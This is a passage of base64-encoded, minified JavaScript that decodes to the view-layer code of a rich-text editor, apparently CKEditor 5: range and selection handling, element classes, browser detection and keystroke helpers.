lYXRlQmVmb3JlKHQpe2lmKHQuaXMoIiR0ZXh0UHJveHkiKSl7cmV0dXJuIG5ldyBobCh0LnRleHROb2RlLHQub2Zmc2V0SW5UZXh0KX1pZighdC5wYXJlbnQpe3Rocm93IG5ldyBzc1siYSJdKCJ2aWV3LXBvc2l0aW9uLWJlZm9yZS1yb290Iix0LHtyb290OnR9KX1yZXR1cm4gbmV3IGhsKHQucGFyZW50LHQuaW5kZXgpfX1jbGFzcyBmbHtjb25zdHJ1Y3Rvcih0LGU9bnVsbCl7dGhpcy5zdGFydD10LmNsb25lKCk7dGhpcy5lbmQ9ZT9lLmNsb25lKCk6dC5jbG9uZSgpfSpbU3ltYm9sLml0ZXJhdG9yXSgpe3lpZWxkKm5ldyB1bCh7Ym91bmRhcmllczp0aGlzLGlnbm9yZUVsZW1lbnRFbmQ6dHJ1ZX0pfWdldCBpc0NvbGxhcHNlZCgpe3JldHVybiB0aGlzLnN0YXJ0LmlzRXF1YWwodGhpcy5lbmQpfWdldCBpc0ZsYXQoKXtyZXR1cm4gdGhpcy5zdGFydC5wYXJlbnQ9PT10aGlzLmVuZC5wYXJlbnR9Z2V0IHJvb3QoKXtyZXR1cm4gdGhpcy5zdGFydC5yb290fWdldEVubGFyZ2VkKCl7bGV0IHQ9dGhpcy5zdGFydC5nZXRMYXN0TWF0Y2hpbmdQb3NpdGlvbihtbCx7ZGlyZWN0aW9uOiJiYWNrd2FyZCJ9KTtsZXQgZT10aGlzLmVuZC5nZXRMYXN0TWF0Y2hpbmdQb3NpdGlvbihtbCk7aWYodC5wYXJlbnQuaXMoIiR0ZXh0IikmJnQuaXNBdFN0YXJ0KXt0PWhsLl9jcmVhdGVCZWZvcmUodC5wYXJlbnQpfWlmKGUucGFyZW50LmlzKCIkdGV4dCIpJiZlLmlzQXRFbmQpe2U9aGwuX2NyZWF0ZUFmdGVyKGUucGFyZW50KX1yZXR1cm4gbmV3IGZsKHQsZSl9Z2V0VHJpbW1lZCgpe2xldCB0PXRoaXMuc3RhcnQuZ2V0TGFzdE1hdGNoaW5nUG9zaXRpb24obWwpO2lmKHQuaXNBZnRlcih0aGlzLmVuZCl8fHQuaXNFcXVhbCh0aGlzLmVuZCkpe3JldHVybiBuZXcgZmwodCx0KX1sZXQgZT10aGlzLmVuZC5nZXRMYXN0TWF0Y2hpbmdQb3NpdGlvbihtbCx7ZGlyZWN0aW9uOiJiYWNrd2FyZCJ9KTtjb25zdCBuPXQubm9kZUFmdGVyO2NvbnN0IGk9ZS5ub2RlQmVmb3JlO2lmKG4mJm4uaXMoIiR0ZXh0Iikpe3Q9bmV3IGhsKG4sMCl9aWYoaSYmaS5pcygiJHRleHQiKSl7ZT1uZXcgaGwoaSxpLmRhdGEubGVuZ3RoKX1yZXR1cm4gbmV3IGZsKHQsZSl9aXNFcXVhbCh0KXtyZXR1cm4gdGhpcz09dHx8dGhpcy5zdGFydC5pc0VxdWFsKHQuc3RhcnQpJiZ0aGlzLmVuZC5pc0VxdWFsKHQuZW5kKX1jb250YWluc1Bvc2l0aW9uKHQpe3JldHVybiB0LmlzQWZ0ZXIodGhpcy5zdGFydCkmJnQuaXNCZWZvcmUodGhpcy5lbmQpfWNvbnRhaW5zUmFuZ2UodCxlPWZhbHNlKXtpZih0LmlzQ29sbGFwc2VkKXtlPWZhbHNlfWNvbnN0IG49dGhpcy5jb250YWluc1Bvc2l0aW9uKHQuc3RhcnQpfHxlJiZ0aGlzLnN0YXJ0LmlzRXF1YWwodC5zdGFydCk7Y29uc3QgaT10aGlzLmNvbnRhaW5zUG9zaXRpb24odC5lbmQpfHxlJiZ0aGlzLmVuZC5pc0VxdWFsKHQuZW5kKTtyZXR1cm4gbiYmaX1nZXREaWZmZXJlbmNlKHQpe2NvbnN0IGU9W107aWYodGhpcy5pc0ludGVyc2VjdGluZyh0KSl7aWYodGhpcy5jb250YWluc1Bvc2l0aW9uKHQuc3RhcnQpKXtlLnB1c2gobmV3IGZsKHRoaXMuc3RhcnQsdC5zdGFydCkpfWlmKHRoaXMuY29udGFpbnNQb3NpdGlvbih0LmVuZCkpe2UucHVzaChuZXcgZmwodC5lbmQsdGhpcy5lbmQpKX19ZWxzZXtlLnB1c2godGhpcy5jbG9uZSgpKX1yZXR1cm4gZX1nZXRJbnRlcnNlY3Rpb24odCl7aWYodGhpcy5pc0ludGVyc2VjdGluZyh0KSl7bGV0IGU9dGhpcy5zdGFydDtsZXQgbj10aGlzLmVuZDtpZih0aGlzLmNvbnRhaW5zUG9zaXRpb24odC5zdGFydCkpe2U9dC5zdGFydH1pZih0aGlzLmNvbnRhaW5zUG9zaXRpb24odC5lbmQpKXtuPXQuZW5kfXJldHVybiBuZXcgZmwoZSxuKX1yZXR1cm4gbnVsbH1nZXRXYWxrZXIodD17fSl7dC5ib3VuZGFyaWVzPXRoaXM7cmV0dXJuIG5ldyB1bCh0KX1nZXRDb21tb25BbmNlc3Rvcigpe3JldHVybiB0aGlzLnN0YXJ0LmdldENvbW1vbkFuY2VzdG9yKHRoaXMuZW5kKX1nZXRDb250YWluZWRFbGVtZW50KCl7aWYodGhpcy5pc0NvbGxhcHNlZCl7cmV0dXJuIG51bGx9bGV0IHQ9dGhpcy5zdGFydC5ub2RlQWZ0ZXI7bGV0IGU9dGhpcy5lbmQubm9kZUJlZm9yZTtpZih0aGlzLnN0YXJ0LnBhcmVudC5pcygiJHRleHQiKSYmdGhpcy5zdGFydC5pc0F0RW5kJiZ0aGlzLnN0YXJ0LnBhcmVudC5uZXh0U2libGluZyl7dD10aGlzLnN0YXJ0LnBhcmVudC5uZXh0U2libGluZ31pZih0aGlzLmVuZC5wYXJlbnQuaXMoIiR0ZXh0IikmJnRoaXMuZW5kLmlzQXRTdGFydCYmdGhpcy5lbmQucGFyZW50LnByZXZpb3VzU2libGluZyl7ZT10aGlzLmVuZC5wYXJlbnQucHJldmlvdXNTaWJsaW5nfWlmKHQmJnQuaXMoImVsZW1lbnQiKSYmdD09PWUpe3JldHVybiB0fXJldHVybiBudWxsfWNsb25lKCl7cmV0dXJuIG5ldyBmbCh0aGlzLnN0YXJ0LHRoaXMuZW5kKX0qZ2V0SXRlbXModD17fSl7dC5ib3VuZGFyaWVzPXRoaXM7dC5pZ25vcmVFbGVtZW50RW5kPXRydWU7Y29uc3QgZT1uZXcgdWwodCk7Zm9yKGNvbnN0IHQgb2YgZSl7eWllbGQgdC5pdGVtfX0qZ2V0UG9zaXRpb25zKHQ9e30pe3QuYm91bmRhcmllcz10aGlzO2NvbnN0IGU9bmV3IHVsKHQpO3lpZWxkIGUucG9zaXRpb247Zm9yKGNvbnN0IHQgb2YgZSl7eWllbGQgdC5uZXh0UG9zaXRpb259fWlzKHQpe3JldHVybiB0PT09InJhbmdlInx8dD09PSJ2aWV3OnJhbmdlIn1pc0ludGVyc2VjdGluZyh0KXtyZXR1cm4gdGhpcy5zdGFydC5pc0JlZm9yZSh0LmVuZCkmJnRoaXMuZW5kLmlzQWZ0ZXIodC5zdGFydCl9c3RhdGljIF9jcmVhdGVGcm9tUGFyZW50c0FuZE9mZnNldHModCxlLG4saSl7cmV0dXJuIG5ldyB0aGlzKG5ldyBobCh0LGUpLG5ldyBobChuLGkpKX1zdGF0aWMgX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KHQsZSl7Y29uc3Qgbj10O2NvbnN0IGk9dC5nZXRTaGlmdGVkQnkoZSk7cmV0dXJuIGU+MD9uZXcgdGhpcyhuLGkpOm5ldyB0aGlzKGksbil9c3RhdGljIF9jcmVhdGVJbih0KXtyZXR1cm4gdGhpcy5fY3JlYXRlRnJvbVBhcmVudHNBbmRPZmZzZXRzKHQsMCx0LHQuY2hpbGRDb3VudCl9c3RhdGljIF9jcmVhdGVPbih0KXtjb25zdCBlPXQuaXMoIiR0ZXh0UHJveHkiKT90Lm9mZnNldFNpemU6MTtyZXR1cm4gdGhpcy5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQoaGwuX2NyZWF0ZUJlZm9yZSh0KSxlKX19ZnVuY3Rpb24gbWwodCl7aWYodC5pdGVtLmlzKCJhdHRyaWJ1dGVFbGVtZW50Iil8fHQuaXRlbS5pcygidWlFbGVtZW50Iikpe3JldHVybiB0cnVlfXJldHVybiBmYWxzZX1mdW5jdGlvbiBnbCh0KXtsZXQgZT0wO2Zvcihjb25zdCBuIG9mIHQpe2UrK31yZXR1cm4gZX1jbGFzcyBwbHtjb25zdHJ1Y3Rvcih0PW51bGwsZSxuKXt0aGlzLl9yYW5nZXM9W107dGhpcy5fbGFzdFJhbmdlQmFja3dhcmQ9ZmFsc2U7dGhpcy5faXNGYWtlPWZhbHNlO3RoaXMuX2Zha2VTZWxlY3Rpb25MYWJlbD0iIjt0aGlzLnNldFRvKHQsZSxuKX1nZXQgaXNGYWtlKCl7cmV0dXJuIHRoaXMuX2lzRmFrZX1nZXQgZmFrZVNlbGVjdGlvbkxhYmVsKCl7cmV0dXJuIHRoaXMuX2Zha2VTZWxlY3Rpb25MYWJlbH1nZXQgYW5jaG9yKCl7aWYoIXRoaXMuX3Jhbmdlcy5sZW5ndGgpe3JldHVybiBudWxsfWNvbnN0IHQ9dGhpcy5fcmFuZ2VzW3RoaXMuX3Jhbmdlcy5sZW5ndGgtMV07Y29uc3QgZT10aGlzLl9sYXN0UmFuZ2VCYWNrd2FyZD90LmVuZDp0LnN0YXJ0O3JldHVybiBlLmNsb25lKCl9Z2V0IGZvY3VzKCl7aWYoIXRoaXMuX3Jhbmdlcy5sZW5ndGgpe3JldHVybiBudWxsfWNvbnN0IHQ9dGhpcy5fcmFuZ2VzW3RoaXMuX3Jhbmdlcy5sZW5ndGgtMV07Y29uc3QgZT10aGlzLl9sYXN0UmFuZ2VCYWNrd2FyZD90LnN0YXJ0OnQuZW5kO3JldHVybiBlLmNsb25lKCl9Z2V0IGlzQ29sbGFwc2VkKCl7cmV0dXJuIHRoaXMucmFuZ2VDb3VudD09PTEmJnRoaXMuX3Jhbmdlc1swXS5pc0NvbGxhcHNlZH1nZXQgcmFuZ2VDb3VudCgpe3JldHVybiB0aGlzLl9yYW5nZXMubGVuZ3RofWdldCBpc0JhY2t3YXJkKCl7cmV0dXJuIXRoaXMuaXNDb2xsYXBzZWQmJnRoaXMuX2xhc3RSYW5nZUJhY2t3YXJkfWdldCBlZGl0YWJsZUVsZW1lbnQoKXtpZih0aGlzLmFuY2hvcil7cmV0dXJuIHRoaXMuYW5jaG9yLmVkaXRhYmxlRWxlbWVudH1yZXR1cm4gbnVsbH0qZ2V0UmFuZ2VzKCl7Zm9yKGNvbnN0IHQgb2YgdGhpcy5fcmFuZ2VzKXt5aWVsZCB0LmNsb25lKCl9fWdldEZpcnN0UmFuZ2UoKXtsZXQgdD1udWxsO2Zvcihjb25zdCBlIG9mIHRoaXMuX3Jhbmdlcyl7aWYoIXR8fGUuc3RhcnQuaXNCZWZvcmUodC5zdGFydCkpe3Q9ZX19cmV0dXJuIHQ/dC5jbG9uZSgpOm51bGx9Z2V0TGFzdFJhbmdlKCl7bGV0IHQ9bnVsbDtmb3IoY29uc3QgZSBvZiB0aGlzLl9yYW5nZXMpe2lmKCF0fHxlLmVuZC5pc0FmdGVyKHQuZW5kKSl7dD1lfX1yZXR1cm4gdD90LmNsb25lKCk6bnVsbH1nZXRGaXJzdFBvc2l0aW9uKCl7Y29uc3QgdD10aGlzLmdldEZpcnN0UmFuZ2UoKTtyZXR1cm4gdD90LnN0YXJ0LmNsb25lKCk6bnVsbH1nZXRMYXN0UG9zaXRpb24oKXtjb25zdCB0PXRoaXMuZ2V0TGFzdFJhbmdlKCk7cmV0dXJuIHQ/dC5lbmQuY2xvbmUoKTpudWxsfWlzRXF1YWwodCl7aWYodGhpcy5pc0Zha2UhPXQuaXNGYWtlKXtyZXR1cm4gZmFsc2V9aWYodGhpcy5pc0Zha2UmJnRoaXMuZmFrZVNlbGVjdGlvbkxhYmVsIT10LmZha2VTZWxlY3Rpb25MYWJlbCl7cmV0dXJuIGZhbHNlfWlmKHRoaXMucmFuZ2VDb3VudCE9dC5yYW5nZUNvdW50KXtyZXR1cm4gZmFsc2V9ZWxzZSBpZih0aGlzLnJhbmdlQ291bnQ9PT0wKXtyZXR1cm4gdHJ1ZX1pZighdGhpcy5hbmNob3IuaXNFcXVhbCh0LmFuY2hvcil8fCF0aGlzLmZvY3VzLmlzRXF1YWwodC5mb2N1cykpe3JldHVybiBmYWxzZX1mb3IoY29uc3QgZSBvZiB0aGlzLl9yYW5nZXMpe2xldCBuPWZhbHNlO2Zvcihjb25zdCBpIG9mIHQuX3Jhbmdlcyl7aWYoZS5pc0VxdWFsKGkpKXtuPXRydWU7YnJlYWt9fWlmKCFuKXtyZXR1cm4gZmFsc2V9fXJldHVybiB0cnVlfWlzU2ltaWxhcih0KXtpZih0aGlzLmlzQmFja3dhcmQhPXQuaXNCYWNrd2FyZCl7cmV0dXJuIGZhbHNlfWNvbnN0IGU9Z2wodGhpcy5nZXRSYW5nZXMoKSk7Y29uc3Qgbj1nbCh0LmdldFJhbmdlcygpKTtpZihlIT1uKXtyZXR1cm4gZmFsc2V9aWYoZT09MCl7cmV0dXJuIHRydWV9Zm9yKGxldCBlIG9mIHRoaXMuZ2V0UmFuZ2VzKCkpe2U9ZS5nZXRUcmltbWVkKCk7bGV0IG49ZmFsc2U7Zm9yKGxldCBpIG9mIHQuZ2V0UmFuZ2VzKCkpe2k9aS5nZXRUcmltbWVkKCk7aWYoZS5zdGFydC5pc0VxdWFsKGkuc3RhcnQpJiZlLmVuZC5pc0VxdWFsKGkuZW5kKSl7bj10cnVlO2JyZWFrfX1pZighbil7cmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX1nZXRTZWxlY3RlZEVsZW1lbnQoKXtpZih0aGlzLnJhbmdlQ291bnQhPT0xKXtyZXR1cm4gbnVsbH1yZXR1cm4gdGhpcy5nZXRGaXJzdFJhbmdlKCkuZ2V0Q29udGFpbmVkRWxlbWVudCgpfXNldFRvKHQsZSxuKXtpZih0PT09bnVsbCl7dGhpcy5fc2V0UmFuZ2VzKFtdKTt0aGlzLl9zZXRGYWtlT3B0aW9ucyhlKX1lbHNlIGlmKHQgaW5zdGFuY2VvZiBwbHx8dCBpbnN0YW5jZW9mIGtsKXt0aGlzLl9zZXRSYW5nZXModC5nZXRSYW5nZXMoKSx0LmlzQmFja3dhcmQpO3RoaXMuX3NldEZha2VPcHRpb25zKHtmYWtlOnQuaXNGYWtlLGxhYmVsOnQuZmFrZVNlbGVjdGlvbkxhYmVsfSl9ZWxzZSBpZih0IGluc3RhbmNlb2YgZmwpe3RoaXMuX3NldFJhbmdlcyhbdF0sZSYmZS5iYWNrd2FyZCk7dGhpcy5fc2V0RmFrZU9wdGlvbnMoZSl9ZWxzZSBpZih0IGluc3RhbmNlb2YgaGwpe3RoaXMuX3NldFJhbmdlcyhbbmV3IGZsKHQpXSk7dGhpcy5fc2V0RmFrZU9wdGlvbnMoZSl9ZWxzZSBpZih0IGluc3RhbmNlb2YgRnMpe2NvbnN0IGk9ISFuJiYhIW4uYmFja3dhcmQ7bGV0IG87aWYoZT09PXVuZGVmaW5lZCl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctc2VsZWN0aW9uLXNldHRvLXJlcXVpcmVkLXNlY29uZC1wYXJhbWV0ZXIiLHRoaXMpfWVsc2UgaWYoZT09ImluIil7bz1mbC5fY3JlYXRlSW4odCl9ZWxzZSBpZihlPT0ib24iKXtvPWZsLl9jcmVhdGVPbih0KX1lbHNle289bmV3IGZsKGhsLl9jcmVhdGVBdCh0LGUpKX10aGlzLl9zZXRSYW5nZXMoW29dLGkpO3RoaXMuX3NldEZha2VPcHRpb25zKG4pfWVsc2UgaWYoQXModCkpe3RoaXMuX3NldFJhbmdlcyh0LGUmJmUuYmFja3dhcmQpO3RoaXMuX3NldEZha2VPcHRpb25zKGUpfWVsc2V7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctc2VsZWN0aW9uLXNldHRvLW5vdC1zZWxlY3RhYmxlIix0aGlzKX10aGlzLmZpcmUoImNoYW5nZSIpfXNldEZvY3VzKHQsZSl7aWYodGhpcy5hbmNob3I9PT1udWxsKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1zZWxlY3Rpb24tc2V0Zm9jdXMtbm8tcmFuZ2VzIix0aGlzKX1jb25zdCBuPWhsLl9jcmVhdGVBdCh0LGUpO2lmKG4uY29tcGFyZVdpdGgodGhpcy5mb2N1cyk9PSJzYW1lIil7cmV0dXJufWNvbnN0IGk9dGhpcy5hbmNob3I7dGhpcy5fcmFuZ2VzLnBvcCgpO2lmKG4uY29tcGFyZVdpdGgoaSk9PSJiZWZvcmUiKXt0aGlzLl9hZGRSYW5nZShuZXcgZmwobixpKSx0cnVlKX1lbHNle3RoaXMuX2FkZFJhbmdlKG5ldyBmbChpLG4pKX10aGlzLmZpcmUoImNoYW5nZSIpfWlzKHQpe3JldHVybiB0PT09InNlbGVjdGlvbiJ8fHQ9PT0idmlldzpzZWxlY3Rpb24ifV9zZXRSYW5nZXModCxlPWZhbHNlKXt0PUFycmF5LmZyb20odCk7dGhpcy5fcmFuZ2VzPVtdO2Zvcihjb25zdCBlIG9mIHQpe3RoaXMuX2FkZFJhbmdlKGUpfXRoaXMuX2xhc3RSYW5nZUJhY2t3YXJkPSEhZX1fc2V0RmFrZU9wdGlvbnModD17fSl7dGhpcy5faXNGYWtlPSEhdC5mYWtlO3RoaXMuX2Zha2VTZWxlY3Rpb25MYWJlbD10LmZha2U/dC5sYWJlbHx8IiI6IiJ9X2FkZFJhbmdlKHQsZT1mYWxzZSl7aWYoISh0IGluc3RhbmNlb2YgZmwpKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1zZWxlY3Rpb24tYWRkLXJhbmdlLW5vdC1yYW5nZSIsdGhpcyl9dGhpcy5fcHVzaFJhbmdlKHQpO3RoaXMuX2xhc3RSYW5nZUJhY2t3YXJkPSEhZX1fcHVzaFJhbmdlKHQpe2Zvcihjb25zdCBlIG9mIHRoaXMuX3Jhbmdlcyl7aWYodC5pc0ludGVyc2VjdGluZyhlKSl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctc2VsZWN0aW9uLXJhbmdlLWludGVyc2VjdHMiLHRoaXMse2FkZGVkUmFuZ2U6dCxpbnRlcnNlY3RpbmdSYW5nZTplfSl9fXRoaXMuX3Jhbmdlcy5wdXNoKG5ldyBmbCh0LnN0YXJ0LHQuZW5kKSl9fV9zKHBsLGRzKTtjbGFzcyBrbHtjb25zdHJ1Y3Rvcih0PW51bGwsZSxuKXt0aGlzLl9zZWxlY3Rpb249bmV3IHBsO3RoaXMuX3NlbGVjdGlvbi5kZWxlZ2F0ZSgiY2hhbmdlIikudG8odGhpcyk7dGhpcy5fc2VsZWN0aW9uLnNldFRvKHQsZSxuKX1nZXQgaXNGYWtlKCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5pc0Zha2V9Z2V0IGZha2VTZWxlY3Rpb25MYWJlbCgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZmFrZVNlbGVjdGlvbkxhYmVsfWdldCBhbmNob3IoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmFuY2hvcn1nZXQgZm9jdXMoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmZvY3VzfWdldCBpc0NvbGxhcHNlZCgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uaXNDb2xsYXBzZWR9Z2V0IHJhbmdlQ291bnQoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLnJhbmdlQ291bnR9Z2V0IGlzQmFja3dhcmQoKXtyZXR1cm4gdGhpcy5fc2VsZWN0aW9uLmlzQmFja3dhcmR9Z2V0IGVkaXRhYmxlRWxlbWVudCgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZWRpdGFibGVFbGVtZW50fWdldCBfcmFuZ2VzKCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5fcmFuZ2VzfSpnZXRSYW5nZXMoKXt5aWVsZCp0aGlzLl9zZWxlY3Rpb24uZ2V0UmFuZ2VzKCl9Z2V0Rmlyc3RSYW5nZSgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZ2V0Rmlyc3RSYW5nZSgpfWdldExhc3RSYW5nZSgpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZ2V0TGFzdFJhbmdlKCl9Z2V0Rmlyc3RQb3NpdGlvbigpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZ2V0Rmlyc3RQb3NpdGlvbigpfWdldExhc3RQb3NpdGlvbigpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uZ2V0TGFzdFBvc2l0aW9uKCl9Z2V0U2VsZWN0ZWRFbGVtZW50KCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKX1pc0VxdWFsKHQpe3JldHVybiB0aGlzLl9zZWxlY3Rpb24uaXNFcXVhbCh0KX1pc1NpbWlsYXIodCl7cmV0dXJuIHRoaXMuX3NlbGVjdGlvbi5pc1NpbWlsYXIodCl9aXModCl7cmV0dXJuIHQ9PT0ic2VsZWN0aW9uInx8dD09ImRvY3VtZW50U2VsZWN0aW9uInx8dD09InZpZXc6c2VsZWN0aW9uInx8dD09InZpZXc6ZG9jdW1lbnRTZWxlY3Rpb24ifV9zZXRUbyh0LGUsbil7dGhpcy5fc2VsZWN0aW9uLnNldFRvKHQsZSxuKX1fc2V0Rm9jdXModCxlKXt0aGlzLl9zZWxlY3Rpb24uc2V0Rm9jdXModCxlKX19X3Moa2wsZHMpO2NsYXNzIGJse2NvbnN0cnVjdG9yKHQpe3RoaXMuc2VsZWN0aW9uPW5ldyBrbDt0aGlzLnJvb3RzPW5ldyB2cyh7aWRQcm9wZXJ0eToicm9vdE5hbWUifSk7dGhpcy5zdHlsZXNQcm9jZXNzb3I9dDt0aGlzLnNldCgiaXNSZWFkT25seSIsZmFsc2UpO3RoaXMuc2V0KCJpc0ZvY3VzZWQiLGZhbHNlKTt0aGlzLnNldCgiaXNDb21wb3NpbmciLGZhbHNlKTt0aGlzLl9wb3N0Rml4ZXJzPW5ldyBTZXR9Z2V0Um9vdCh0PSJtYWluIil7cmV0dXJuIHRoaXMucm9vdHMuZ2V0KHQpfXJlZ2lzdGVyUG9zdEZpeGVyKHQpe3RoaXMuX3Bvc3RGaXhlcnMuYWRkKHQpfWRlc3Ryb3koKXt0aGlzLnJvb3RzLm1hcCgodD0+dC5kZXN0cm95KCkpKTt0aGlzLnN0b3BMaXN0ZW5pbmcoKX1fY2FsbFBvc3RGaXhlcnModCl7bGV0IGU9ZmFsc2U7ZG97Zm9yKGNvbnN0IG4gb2YgdGhpcy5fcG9zdEZpeGVycyl7ZT1uKHQpO2lmKGUpe2JyZWFrfX19d2hpbGUoZSl9fV9zKGJsLEpjKTtjb25zdCB3bD0xMDtjbGFzcyBDbCBleHRlbmRzIGpje2NvbnN0cnVjdG9yKHQsZSxuLGkpe3N1cGVyKHQsZSxuLGkpO3RoaXMuZ2V0RmlsbGVyT2Zmc2V0PUFsO3RoaXMuX3ByaW9yaXR5PXdsO3RoaXMuX2lkPW51bGw7dGhpcy5fY2xvbmVzR3JvdXA9bnVsbH1nZXQgcHJpb3JpdHkoKXtyZXR1cm4gdGhpcy5fcHJpb3JpdHl9Z2V0IGlkKCl7cmV0dXJuIHRoaXMuX2lkfWdldEVsZW1lbnRzV2l0aFNhbWVJZCgpe2lmKHRoaXMuaWQ9PT1udWxsKXt0aHJvdyBuZXcgc3NbImEiXSgiYXR0cmlidXRlLWVsZW1lbnQtZ2V0LWVsZW1lbnRzLXdpdGgtc2FtZS1pZC1uby1pZCIsdGhpcyl9cmV0dXJuIG5ldyBTZXQodGhpcy5fY2xvbmVzR3JvdXApfWlzKHQsZT1udWxsKXtpZighZSl7cmV0dXJuIHQ9PT0iYXR0cmlidXRlRWxlbWVudCJ8fHQ9PT0idmlldzphdHRyaWJ1dGVFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQifHx0PT09Im5vZGUifHx0PT09InZpZXc6bm9kZSJ9ZWxzZXtyZXR1cm4gZT09PXRoaXMubmFtZSYmKHQ9PT0iYXR0cmlidXRlRWxlbWVudCJ8fHQ9PT0idmlldzphdHRyaWJ1dGVFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQiKX19aXNTaW1pbGFyKHQpe2lmKHRoaXMuaWQhPT1udWxsfHx0LmlkIT09bnVsbCl7cmV0dXJuIHRoaXMuaWQ9PT10LmlkfXJldHVybiBzdXBlci5pc1NpbWlsYXIodCkmJnRoaXMucHJpb3JpdHk9PXQucHJpb3JpdHl9X2Nsb25lKHQpe2NvbnN0IGU9c3VwZXIuX2Nsb25lKHQpO2UuX3ByaW9yaXR5PXRoaXMuX3ByaW9yaXR5O2UuX2lkPXRoaXMuX2lkO3JldHVybiBlfX1DbC5ERUZBVUxUX1BSSU9SSVRZPXdsO2Z1bmN0aW9uIEFsKCl7aWYoX2wodGhpcykpe3JldHVybiBudWxsfWxldCB0PXRoaXMucGFyZW50O3doaWxlKHQmJnQuaXMoImF0dHJpYnV0ZUVsZW1lbnQiKSl7aWYoX2wodCk+MSl7cmV0dXJuIG51bGx9dD10LnBhcmVudH1pZighdHx8X2wodCk+MSl7cmV0dXJuIG51bGx9cmV0dXJuIHRoaXMuY2hpbGRDb3VudH1mdW5jdGlvbiBfbCh0KXtyZXR1cm4gQXJyYXkuZnJvbSh0LmdldENoaWxkcmVuKCkpLmZpbHRlcigodD0+IXQuaXMoInVpRWxlbWVudCIpKSkubGVuZ3RofWNsYXNzIHZsIGV4dGVuZHMgamN7Y29uc3RydWN0b3IodCxlLG4saSl7c3VwZXIodCxlLG4saSk7dGhpcy5nZXRGaWxsZXJPZmZzZXQ9eWx9aXModCxlPW51bGwpe2lmKCFlKXtyZXR1cm4gdD09PSJlbXB0eUVsZW1lbnQifHx0PT09InZpZXc6ZW1wdHlFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJ2aWV3OmVsZW1lbnQifHx0PT09Im5vZGUifHx0PT09InZpZXc6bm9kZSJ9ZWxzZXtyZXR1cm4gZT09PXRoaXMubmFtZSYmKHQ9PT0iZW1wdHlFbGVtZW50Inx8dD09PSJ2aWV3OmVtcHR5RWxlbWVudCJ8fHQ9PT0iZWxlbWVudCJ8fHQ9PT0idmlldzplbGVtZW50Iil9fV9pbnNlcnRDaGlsZCh0LGUpe2lmKGUmJihlIGluc3RhbmNlb2YgRnN8fEFycmF5LmZyb20oZSkubGVuZ3RoPjApKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1lbXB0eWVsZW1lbnQtY2Fubm90LWFkZCIsW3RoaXMsZV0pfX19ZnVuY3Rpb24geWwoKXtyZXR1cm4gbnVsbH1jb25zdCB4bD1uYXZpZ2F0b3IudXNlckFnZW50LnRvTG93ZXJDYXNlKCk7Y29uc3QgRGw9e2lzTWFjOk1sKHhsKSxpc0dlY2tvOlNsKHhsKSxpc1NhZmFyaTpUbCh4bCksaXNBbmRyb2lkOklsKHhsKSxpc0JsaW5rOk5sKHhsKSxmZWF0dXJlczp7aXNSZWdFeHBVbmljb2RlUHJvcGVydHlTdXBwb3J0ZWQ6QmwoKX19O3ZhciBFbD1EbDtmdW5jdGlvbiBNbCh0KXtyZXR1cm4gdC5pbmRleE9mKCJtYWNpbnRvc2giKT4tMX1mdW5jdGlvbiBTbCh0KXtyZXR1cm4hIXQubWF0Y2goL2dlY2tvXC9cZCsvKX1mdW5jdGlvbiBUbCh0KXtyZXR1cm4gdC5pbmRleE9mKCIgYXBwbGV3ZWJraXQvIik+LTEmJnQuaW5kZXhPZigiY2hyb21lIik9PT0tMX1mdW5jdGlvbiBJbCh0KXtyZXR1cm4gdC5pbmRleE9mKCJhbmRyb2lkIik+LTF9ZnVuY3Rpb24gTmwodCl7cmV0dXJuIHQuaW5kZXhPZigiY2hyb21lLyIpPi0xJiZ0LmluZGV4T2YoImVkZ2UvIik8MH1mdW5jdGlvbiBCbCgpe2xldCB0PWZhbHNlO3RyeXt0PSLEhyIuc2VhcmNoKG5ldyBSZWdFeHAoIltcXHB7TH1dIiwidSIpKT09PTB9Y2F0Y2godCl7fXJldHVybiB0fWNvbnN0IFBsPXsi4oyYIjoiY3RybCIsIuKHpyI6InNoaWZ0Iiwi4oylIjoiYWx0In07Y29uc3Qgemw9e2N0cmw6IuKMmCIsc2hpZnQ6IuKHpyIsYWx0OiLijKUifTtjb25zdCBMbD1IbCgpO2Z1bmN0aW9uIE9sKHQpe2xldCBlO2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7ZT1MbFt0LnRvTG93ZXJDYXNlKCldO2lmKCFlKXt0aHJvdyBuZXcgc3NbImEiXSgia2V5Ym9hcmQtdW5rbm93bi1rZXkiLG51bGwse2tleTp0fSl9fWVsc2V7ZT10LmtleUNvZGUrKHQuYWx0S2V5P0xsLmFsdDowKSsodC5jdHJsS2V5P0xsLmN0cmw6MCkrKHQuc2hpZnRLZXk/TGwuc2hpZnQ6MCl9cmV0dXJuIGV9ZnVuY3Rpb24gUmwodCl7aWYodHlwZW9mIHQ9PSJzdHJpbmciKXt0PUdsKHQpfXJldHVybiB0Lm1hcCgodD0+dHlwZW9mIHQ9PSJzdHJpbmciP09sKHQpOnQpKS5yZWR1Y2UoKCh0LGUpPT5lK3QpLDApfWZ1bmN0aW9uIGpsKHQpe2lmKCFFbC5pc01hYyl7cmV0dX